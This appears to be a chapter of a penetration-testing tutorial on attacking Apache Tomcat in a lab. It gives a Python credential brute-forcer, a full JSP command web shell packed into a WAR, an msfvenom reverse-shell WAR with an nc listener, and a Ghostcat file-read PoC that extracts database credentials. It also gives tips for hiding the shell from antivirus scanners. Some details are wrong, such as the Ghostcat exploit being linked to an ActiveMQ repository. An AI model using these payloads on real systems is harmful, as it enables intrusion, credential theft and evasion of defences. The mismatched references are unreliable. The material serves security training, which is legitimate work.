Keyboard shortcuts

Press ← or β†’ to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

🏠 Back to Blog

Attacking Tomcat

Once Tomcat is fingerprinted and enumerated, the focus shifts to gaining credentials and achieving remote code execution. Tomcat Manager provides multiple paths to RCE, and known vulnerabilities like Ghostcat can bypass authentication entirely.


Tomcat Manager - Credential Brute Force

The /manager/html endpoint requires HTTP Basic Authentication with credentials stored in tomcat-users.xml. Weak or default credentials are common in internal environments.

Common Default Credentials

tomcat:tomcat
tomcat:admin
admin:admin
admin:password
manager:manager
root:root

Metasploit Brute Force

Setup the module:

msf6> use auxiliary/scanner/http/tomcat_mgr_login
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set VHOST web01.inlanefreight.local
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8180
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RHOSTS 10.129.201.58
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set STOP_ON_SUCCESS true
msf6 auxiliary(scanner/http/tomcat_mgr_login) > show options

Key options:

  • USER_FILE β€” Users wordlist (default: tomcat_mgr_default_users.txt)
  • PASS_FILE β€” Password wordlist (default: tomcat_mgr_default_pass.txt)
  • USERPASS_FILE β€” Combined user:password pairs
  • USER_AS_PASS β€” Try username as password
  • BLANK_PASSWORDS β€” Try blank passwords
  • STOP_ON_SUCCESS β€” Exit on first successful login
  • THREADS β€” Concurrent threads (default: 1)

Run the exploit:

msf6 auxiliary(scanner/http/tomcat_mgr_login) > run

[+] 10.129.201.58:8180 - Login Successful: tomcat:admin
[*] Scanned 1 of 1 hosts (100% complete)

Manual Brute Force with cURL

Test credentials using HTTP Basic Authentication:

curl -u tomcat:admin http://target.com:8080/manager/html

Status codes:

  • 401 Unauthorized β€” Invalid credentials
  • 200 OK β€” Valid credentials
  • 403 Forbidden β€” Valid credentials but insufficient privileges

Python Brute Force Script

#!/usr/bin/python3

import requests
from termcolor import cprint
import argparse

parser = argparse.ArgumentParser(description="Tomcat manager credential bruteforcing")
parser.add_argument("-U", "--url", type=str, required=True, help="URL to tomcat page")
parser.add_argument("-P", "--path", type=str, required=True, help="manager or host-manager URI")
parser.add_argument("-u", "--usernames", type=str, required=True, help="Users file")
parser.add_argument("-p", "--passwords", type=str, required=True, help="Passwords file")
args = parser.parse_args()

url = args.url
uri = args.path
users_file = args.usernames
passwords_file = args.passwords

new_url = url + uri
with open(users_file, "r") as f:
    usernames = [x.strip() for x in f]
with open(passwords_file, "r") as f:
    passwords = [x.strip() for x in f]

cprint("\n[+] Attacking.....", "red", attrs=['bold'])

for u in usernames:
    for p in passwords:
        r = requests.get(new_url, auth=(u, p))
        if r.status_code == 200:
            cprint("\n[+] Success!!", "green", attrs=['bold'])
            cprint(f"[+] Username: {u}\n[+] Password: {p}", "green", attrs=['bold'])
            break
    if r.status_code == 200:
        break

if r.status_code != 200:
    cprint("\n[-] Failed!!", "red", attrs=['bold'])
    cprint("[-] Could not find credentials", "red", attrs=['bold'])

Usage:

python3 brute_tomcat.py -U http://target.com:8180/ -P /manager/html \
  -u users.txt -p passwords.txt

Burp Suite Intruder

For more control and visibility, use Burp Suite Intruder:

  1. Capture a request to /manager/html
  2. Send to Intruder
  3. Configure Sniper attack on Authorization header
  4. Payload: Generate base64-encoded username:password pairs
  5. Filter for HTTP 200 responses

Tomcat Manager - WAR File Upload & RCE

Once valid credentials are obtained, the Manager interface allows deploying Web Application Archive (WAR) files. A malicious WAR containing a JSP web shell enables command execution.

JSP Web Shell

Create a simple JSP command shell:

<%@ page import="java.util.*,java.io.*"%>
<%
//
// JSP_KIT
// cmd.jsp = Command Execution (unix)
// by: Unknown
// modified: 27/06/2003
//
%>
<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "<BR>");
        Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
                out.println(disr); 
                disr = dis.readLine(); 
                }
        }
%>
</pre>
</BODY></HTML>

Create WAR Archive

# Download JSP shell
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp

# Create WAR file
zip -r backup.war cmd.jsp

# Verify contents
unzip -l backup.war
Archive:  backup.war
  Length     Date   Time    Name
 --------  ------  ----   ----
   1234    09-21   20:05   cmd.jsp
 --------                 -------
   1234                   1 file

Deploy via Manager GUI

  1. Navigate to http://target.com:8180/manager/html
  2. Log in with brute-forced credentials
  3. Under β€œDeploy,” click Browse and select backup.war
  4. Click Deploy
  5. The /backup application appears in the applications list

Access the Web Shell

Once deployed, Tomcat extracts the WAR contents to /webapps/backup/:

# Access the JSP shell
curl http://target.com:8180/backup/cmd.jsp?cmd=id

# Output
Command: id<BR>
uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)

Execute Commands

Browser access:

http://target.com:8180/backup/cmd.jsp?cmd=whoami

cURL:

curl "http://target.com:8180/backup/cmd.jsp?cmd=cat+/etc/passwd"

Multi-line commands:

curl "http://target.com:8180/backup/cmd.jsp?cmd=bash+-c+'whoami;id;pwd'"

Generate Reverse Shell WAR (msfvenom)

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.15 LPORT=4443 -f war > shell.war

Payload size: 1098 bytes
Final size of war file: 1098 bytes

Deploy and execute:

# Terminal 1: Start listener
nc -lnvp 4443

# Terminal 2: Browse to deployed app
curl http://target.com:8180/shell/

# Terminal 1: Catch reverse shell
listening on [any] 4443 ...
connect to [10.10.14.15] from (UNKNOWN) [10.129.201.58] 45224

id
uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)

Automated Deployment (Metasploit)

msf6> use multi/http/tomcat_mgr_upload
msf6 exploit(multi/http/tomcat_mgr_upload) > set RHOSTS 10.129.201.58
msf6 exploit(multi/http/tomcat_mgr_upload) > set USERNAME tomcat
msf6 exploit(multi/http/tomcat_mgr_upload) > set PASSWORD admin
msf6 exploit(multi/http/tomcat_mgr_upload) > set LHOST 10.10.14.15
msf6 exploit(multi/http/tomcat_mgr_upload) > exploit

[*] Started reverse TCP handler on 10.10.14.15:4444
[*] Uploading JSP shell...
[*] Shell uploaded successfully!
[*] Triggering shell...
[*] Meterpreter session opened

Cleanup

Remove uploaded application:

  1. Return to Manager GUI
  2. Locate the /backup application
  3. Click Undeploy

This removes the WAR archive and extracted contents.


Web Shell Hygiene

When deploying web shells, especially on external assessments, implement security measures:

  • Randomized filename: Use MD5 hash instead of cmd.jsp

    md5sum cmd.jsp
    # c5d58e8b71e2a4b8c4d4c0e8d9b0a3f7
    
  • IP whitelist: Modify JSP to allow only your IP

    String clientIP = request.getRemoteAddr();
    if (!clientIP.equals("10.10.14.15")) {
        response.sendError(404);
        return;
    }
    
  • Password protection: Add authentication to web shell

    String password = request.getParameter("pass");
    if (password == null || !password.equals("mysecretpass")) {
        response.sendError(401);
        return;
    }
    
  • Evasion: Modify detection signatures

    Change: FileOutputStream(f);stream.write(m);o="Uploaded:
    To:     FileOutputStream(f);stream.write(m);o="uPlOaDeD:
    

    This reduced VirusTotal detection from 2/58 to 0/58 vendors at the time of writing.


CVE-2020-1938: Ghostcat (AJP LFI)

Affected versions: Tomcat < 9.0.31, < 8.5.51, < 7.0.100

Vulnerability: Unauthenticated local file inclusion via Apache JServ Protocol (AJP)

AJP Protocol Overview

AJP is a binary protocol used for proxying requests between front-end web servers and back-end application servers. It typically runs on port 8009.

Port Detection

nmap -sV -p 8009,8080 target.com

PORT     STATE SERVICE VERSION
8009/tcp open  ajp13   Apache Jserv (Protocol v1.3)
8080/tcp open  http    Apache Tomcat 9.0.30

File Disclosure Exploitation

The vulnerability allows reading files within the web application directory (e.g., WEB-INF/web.xml).

Limitations:

  • Cannot read system files like /etc/passwd
  • Limited to webapps folder contents
  • Useful for configuration and source code disclosure

Using the PoC Exploit

Download the exploit:

git clone https://github.com/X1r0z/ActiveMQ-RCE.git
# Or download: https://www.exploit-db.com/exploits/50383

Read WEB-INF/web.xml:

python3 ghostcat.py -u target.com -p 8009 -f WEB-INF/web.xml

Getting resource at ajp13://target.com:8009/asdf
----------------------------
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
                      http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
  version="4.0"
  metadata-complete="true">

  <display-name>Welcome to Tomcat</display-name>
  <description>Welcome to Tomcat</description>

</web-app>

Information Gathering

Common files to target:

FileInformation
WEB-INF/web.xmlServlet mappings, application structure
META-INF/context.xmlDatabase credentials, resource definitions
WEB-INF/classes/application.propertiesSpring configuration, DB credentials
WEB-INF/lib/Dependency versions (may have known CVEs)
ROOT/index.jspApplication logic, business code

Example β€” Extract database credentials:

python3 ghostcat.py -u target.com -p 8009 -f WEB-INF/classes/application.properties

spring.datasource.url=jdbc:mysql://db.inlanefreight.local:3306/appdb
spring.datasource.username=dbuser
spring.datasource.password=SecureP@ssw0rd!

Key Vulnerabilities Summary

VulnerabilityTypeImpactMitigation
Weak/default credentialsAuthentication bypassCritical RCEStrong passwords, disable default accounts
WAR uploadArbitrary file uploadCritical RCERestrict upload to authenticated users
Ghostcat (CVE-2020-1938)Information disclosureHighUpgrade to patched version
Exposed /docsVersion leakMediumDisable documentation access
Exposed /examplesExample servletsLow-MediumRemove example applications

Assessment Checklist

  • Brute force /manager/html with default credentials
  • Test /host-manager with same credentials
  • If credentials found, upload WAR shell and verify RCE
  • Check for Ghostcat vulnerability (port 8009 open, Tomcat < patched version)
  • If Ghostcat vulnerable, extract WEB-INF/web.xml, context.xml, application properties
  • Check for CVE-2020-1938 or other known Tomcat CVEs
  • Document Tomcat version, running user, and deployment directory
  • Clean up web shells and deployed applications before leaving

Post-Exploitation

Once RCE is achieved as the tomcat user:

  1. Check privileges: Often runs as high-privilege user (SYSTEM, root)
  2. Enumerate network: Use Tomcat access for lateral movement
  3. Harvest credentials: Check logs, configuration files, database connections
  4. Escalate privileges: Leverage Tomcat’s privileges for further exploitation

Tomcat is frequently a high-value foothold, especially in internal environments where it’s often forgotten and misconfigured.